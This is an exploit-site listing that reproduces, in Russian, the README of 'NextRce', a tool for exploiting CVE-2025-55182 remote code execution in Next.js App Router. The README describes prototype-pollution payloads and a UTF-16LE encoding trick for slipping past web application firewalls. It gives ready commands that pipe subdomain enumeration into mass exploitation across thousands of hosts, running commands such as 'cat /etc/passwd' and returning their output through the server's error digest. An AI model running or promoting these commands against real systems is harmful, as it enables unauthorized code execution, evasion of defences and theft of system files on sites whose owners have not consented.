Sploitus

Exploit for NextRce

kitploit · 2026-08-26

Exploit Code

MARKDOWN127 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-NEXTRCE
# NextRce — инструмент эксплуатации RSC в Next.js (CVE-2025-55182)

![NextRce Logo](https://raw.githubusercontent.com/ynsmroztas/NextRce/main/nextrce.jpg)   
  


![Python](https://img.shields.io/badge/Python-3.x-blue?style=for-the-badge&logo=python) ![Vulnerability](https://img.shields.io/badge/Vulnerability-RCE-red?style=for-the-badge) ![WAF Bypass](https://img.shields.io/badge/WAF%20Bypass-UTF--16LE-magenta?style=for-the-badge) ![License](https://img.shields.io/badge/License-MIT-green?style=for-the-badge) ![Twitter](https://img.shields.io/badge/Twitter-@ynsmroztas-1DA1F2?style=for-the-badge&logo=twitter)

### Продвинутый сканер и инструмент эксплуатации уязвимостей для Next.js App Router

**РазработаноMitsec**

* * *

## 🔥 Новая возможность: режим обхода WAF (UTF-16LE)

Стандартные полезные нагрузки, содержащие такие ключевые слова, как `child_process` или `execSync`, часто блокируются межсетевыми экранами веб-приложений (WAF).

**NextRCSWaff.py** использует специализированный механизм кодирования **UTF-16LE (Little Endian)**. При кодировании вредоносной полезной нагрузки в этом формате последовательность байтов полностью меняется, что делает её невидимой для большинства сигнатурных WAF. При этом сервер Next.js (Node.js) корректно декодирует и выполняет команду.

![Доказательство концепции обхода WAF](https://raw.githubusercontent.com/ynsmroztas/NextRce/main/waf-next-js.jpg)

_Доказательство концепции: на скриншоте выше показано, как стандартная полезная нагрузка блокируется (сверху), а затем успешно выполняется RCE с помощью NextRCSWaff.py с флагом --bypass (снизу)._

* * *

## 📖 Описание

**NextRce** — это высокопроизводительный многопоточный инструмент безопасности, предназначенный для обнаружения и эксплуатации **CVE-2025-55182**. Он нацелен на реализацию **React Server Components (RSC)** в архитектуре Next.js **App Router**.

Манипулируя процессом сериализации в Server Actions, NextRce внедряет специально сформированную полезную нагрузку для достижения **удалённого выполнения кода (RCE)** на уязвимых экземплярах. Он оснащён интеллектуальным механизмом обнаружения, который автоматически различает уязвимую архитектуру App Router и безопасные устаревшие Pages Router, обеспечивая эффективность при массовом сканировании.

## 🚀 Ключевые возможности

  * **🛡️ Обход WAF (NextRCSWaff.py):** использует кодировку UTF-16LE для обхода обнаружения WAF, сохраняя целостность полезной нагрузки на стороне сервера.
  * **Умное определение архитектуры:** эвристически анализирует DOM (в поисках `window.__next_f`), чтобы отличить уязвимые цели **App Router** от сайтов на устаревшем Pages Router.
  * **Готовность к конвейерам и CI/CD:** полностью поддерживает передачу через `stdin`. Легко интегрируется с инструментами разведки, такими как `subfinder`, `httpx` и `gau`.
  * **Механизм массового сканирования:** встроенный `ThreadPoolExecutor` позволяет одновременно сканировать тысячи доменов с минимальным потреблением ресурсов.
  * **Автоматический разбор:** автоматически извлекает корректные URL из смешанных форматов входных данных (например, кодов состояния, заголовков или необработанных журналов).
  * **Живой вывод RCE:** выполняет команды и получает результат напрямую из digest ответа сервера.



## 🔍 Технический анализ

### Уязвимость (CVE-2025-55182)

Next.js App Router использует собственный формат сериализации для React Server Components (RSC). Уязвимость существует в логике десериализации заголовков `Next-Action`. Когда специально созданный объект (загрязняющий `__proto__`) отправляется на конечную точку серверного действия (например, `/adfa`), внутренний парсер может быть принуждён к выполнению произвольного кода Node.js через `child_process`.

### Порядок эксплуатации

  1. **Разведка:** NextRce отправляет безвредный зонд для проверки заголовков `X-Powered-By: Next.js` и характерных структур путей (`/_next/`).
  2. **Идентификация:** сканирует тело ответа на наличие маркера гидратации App Router: 
     * `window.__next_f` -> **уязвим (App Router)**
     * `__NEXT_DATA__` -> **безопасен (Pages Router)**
  3. **Внедрение полезной нагрузки:** если архитектура уязвима, NextRce формирует запрос multipart/form-data с сериализованным вредоносным JSON-объектом, нацеленным на прототип.
  4. **Выполнение и эксфильтрация:** полезная нагрузка заставляет сервер выполнить `execSync(cmd)`. Вывод `stdout` кодируется в base64 и возвращается в поле `digest` ответа сервера с ошибкой; NextRce декодирует и отображает его.



## 🛠️ Установка

root@kitploit:~
    
    
    # Clone the repository
    git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
    
    # Navigate to the directory
    cd NextRce
    
    # Install dependencies
    pip install requests
    
    💻 Примеры использования
    1. Режим обхода WAF (с помощью NextRCSWaff.py)
    Используйте этот скрипт, если цель выглядит уязвимой, но стандартные эксплойты блокируются.
    
    # Enable UTF-16LE encoding with the --bypass flag
    python3 NextRCSWaff.py -u https://target.com) -c "whoami" --bypass
    
    2. Режим конвейера / Bug Bounty
    Предназначен для конвейеров Linux. Направляйте списки поддоменов прямо в инструмент.
    
    # Standard scan
    subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
    
    # WAF Bypass scan
    subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
    
    
    3. Сканирование одной цели
    Проверьте конкретную конечную точку с произвольной командой с помощью стандартного скрипта.
    
    python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
    
    4. Массовое сканирование из файла
    Сканируйте список URL из файла с высокой степенью параллелизма.
    
    python3 nextrce.py -l targets.txt -c "whoami" -t 100
    
    5. Режим прокси (отладка)
    Направляйте трафик через Burp Suite или другой прокси для анализа.
    
    python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
    
    ⚙️ Параметры командной строки
    
    Flag,Description,Default
    "-u, --url",URL одиночной цели для сканирования,None
    "-l, --list",Путь к файлу со списком URL,None
    "-c, --cmd",Команда для выполнения на сервере,id
    "-t, --threads",Количество одновременных потоков,30
    "-p, --proxy","URL HTTP-прокси (например, http://127.0.0.1:8080)",None
    "-v, --verbose",Включить подробный вывод (показывать неудачные попытки),False
    "-B, --bypass",(только для NextRCSWaff.py) Включить кодировку UTF-16LE для обхода WAF,False
    
    ⚠️ Отказ от ответственности
    Этот инструмент разработан только для образовательных целей и исследований в области безопасности. Автор (Mitsec) не несёт ответственности за любое незаконное использование, ущерб или несанкционированный доступ, вызванные данным инструментом. Всегда получайте явное разрешение владельца системы перед проведением любого тестирования безопасности.
    
    👤 Автор
    NextRce разработан и поддерживается Mitsec.
    
    Twitter/X: @ynsmroztas
    
    GitHub: ynsmroztas